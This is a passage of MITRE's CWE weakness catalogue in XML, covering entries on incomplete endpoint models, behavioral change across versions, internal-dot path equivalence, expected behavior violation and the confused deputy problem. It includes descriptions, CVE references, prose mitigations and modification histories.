            <Related_Attack_Pattern CAPEC_ID="105"/>
            <Related_Attack_Pattern CAPEC_ID="273"/>
            <Related_Attack_Pattern CAPEC_ID="34"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-427"/>
            <Reference External_Reference_ID="REF-428"/>
            <Reference External_Reference_ID="REF-429"/>
            <Reference External_Reference_ID="REF-430"/>
            <Reference External_Reference_ID="REF-431"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Observed_Examples, Other_Notes, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Multiple Interpretation Error (MIE)</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="437" Name="Incomplete Model of Endpoint Features" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>A product acts as an intermediary or monitor between two or more endpoints, but it does not have a complete model of an endpoint's features, behaviors, or state, potentially causing the product to perform incorrect actions based on this incomplete model.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="436" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Unexpected State</Impact>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>HTTP request smuggling is an attack against an intermediary such as a proxy. This attack works because the proxy expects the client to parse HTTP headers one way, but the client parses them differently.</Intro_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>Anti-virus products that reside on mail servers can suffer from this issue if they do not know how a mail client will handle a particular attachment. The product might treat an attachment type as safe, not knowing that the client's configuration treats it as executable.</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Extra Unhandled Features</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">This can be related to interaction errors, although in some cases, one of the endpoints is not performing correctly according to specification.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Extra Unhandled Features</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="439" Name="Behavioral Change in New Version or Environment" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>A's behavior or functionality changes with a new version of A, or a new environment, which is not known (or manageable) by B.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="435" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Functional change</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1976</Reference>
               <Description>Linux kernel 2.2 and above allow promiscuous mode using a different method than previous versions, and ifconfig is not aware of the new method (alternate path property).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1976</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1711</Reference>
               <Description>Product uses defunct method from another product that does not return an error code and allows detection avoidance.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1711</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0411</Reference>
               <Description>chain: Code was ported from a case-sensitive Unix platform to a case-insensitive Windows platform where filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0411</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>CHANGE Behavioral Change</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Observed_Example, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Behavioral Change</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="44" Name="Path Equivalence: 'file.name' (Internal Dot)" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product accepts path input in the form of internal dot ('file.ordir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="41" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Internal Dot - 'file.ordir'</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">An improper attempt to remove the internal dots from the string could lead to CWE-181 (Incorrect Behavior Order: Validate Before Filter).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Internal Dot - 'file.ordir'</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="440" Name="Expected Behavior Violation" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>A feature, API, or function does not perform according to its specification.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="684" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
		   <Technology Class="ICS/OT" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2003-0187</Reference>
               <Description>Program uses large timeouts on "undeserving" to compensate for inconsistency of support for linked lists.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0187</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0465</Reference>
               <Description>"strncpy" in Linux kernel acts different than libc on x86, leading to expected behavior difference - sort of a multiple interpretation error?</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0465</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3265</Reference>
               <Description>Buffer overflow in product stems the use of a third party library function that is expected to have internal protection against overflows, but doesn't.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3265</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Expected behavior violation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Theoretical">The behavior of an application that is not consistent with the expectations of the developer may lead to incorrect use of the software.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relevant_Properties, Theoretical_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relevant_Properties</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Description, Observed_Examples, Theoretical_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="441" Name="Unintended Proxy or Intermediary ('Confused Deputy')" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.</Description>
         <Extended_Description>
            <xhtml:p>If an attacker cannot directly contact a target, but the product has access to the target, then the attacker can send a request to the product and have it be forwarded to the target. The request would appear to be coming from the product's system, not the attacker's system. As a result, the attacker can bypass access controls (such as firewalls) or hide the source of malicious requests, since the requests would not be coming directly from the attacker.</xhtml:p>
            <xhtml:p>Since proxy functionality and message-forwarding often serve a legitimate purpose, this issue only becomes a vulnerability when:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>The product runs with different privileges or on a different system, or otherwise has different levels of access than the upstream component;</xhtml:li>
                  <xhtml:li>The attacker is prevented from making the request directly to the target; and</xhtml:li>
                  <xhtml:li>The attacker can create a request that the proxy does not explicitly intend to be forwarded on the behalf of the requester. Such a request might point to an unexpected hostname, port number, hardware IP, or service. Or, the request might be sent to an allowed service, but the request could contain disallowed directives, commands, or resources.</xhtml:li>
               </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="610" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="668" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
			<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
			<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
			<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Confused Deputy</Term>
               <Description>This weakness is sometimes referred to as the "Confused deputy" problem, in which an attacker misused the authority of one victim (the "confused deputy") when targeting another victim.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Hide Activities</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Enforce the use of strong mutual authentication mechanism between the two parties.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Whenever a product is an intermediary or proxy for
                   transactions between two other components, the proxy core
                   should not drop the identity of the initiator of the
                   transaction. The immutability of the identity of the
                   initiator must be maintained and should be forwarded all the
                   way to the target. </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
             <Demonstrative_Example>
                 <Intro_Text>
                     A SoC contains a microcontroller (running ring-3
                     (least trusted ring) code), a Memory Mapped Input Output
                     (MMIO) mapped IP core (containing design-house secrets),
                     and a Direct Memory Access (DMA) controller, among several
                     other compute elements and peripherals. The SoC implements
                     access control to protect the registers in the IP core
                     (which registers store the design-house secrets) from
                     malicious, ring-3 (least trusted ring) code executing on
                     the microcontroller.  The DMA controller, however, is not
                     blocked off from accessing the IP core for functional
                     reasons.
                 </Intro_Text>
                 <Example_Code Nature="Bad" Language="Other">
                     The code in ring-3 (least trusted ring) of the
                     microcontroller attempts to directly read the protected
                     registers in IP core through MMIO transactions. However,
                     this attempt is blocked due to the implemented access
                     control. Now, the microcontroller configures the DMA core
                     to transfer data from the protected registers to a memory
                     region that it has access to. The DMA core, which is
                     acting as an intermediary in this transaction, does not
                     preserve the identity of the microcontroller and, instead,
                     initiates a new transaction with its own identity. Since
                     the DMA core has access, the transaction (and hence, the
                     attack) is successful.
                 </Example_Code>
                 <Body_Text>The weakness here is that the intermediary or the
                     proxy agent did not ensure the immutability of the
                     identity of the microcontroller initiating the
                     transaction. 
                 </Body_Text>
                 <Example_Code Nature="Good" Language="Other">The DMA
                     core forwards this transaction with the identity of the
                     code executing on the microcontroller, which is the
                     original initiator of the end-to-end transaction. Now the
                     transaction is blocked, as a result of forwarding the
                     identity of the true initiator which lacks the permission
                     to access the confidential MMIO mapped IP core.
                 </Example_Code>
             </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-1999-0017</Reference>
               <Description>FTP bounce attack. The design of the protocol allows an attacker to modify the PORT command to cause the FTP server to connect to other machines besides the attacker's.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0017</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-0168</Reference>
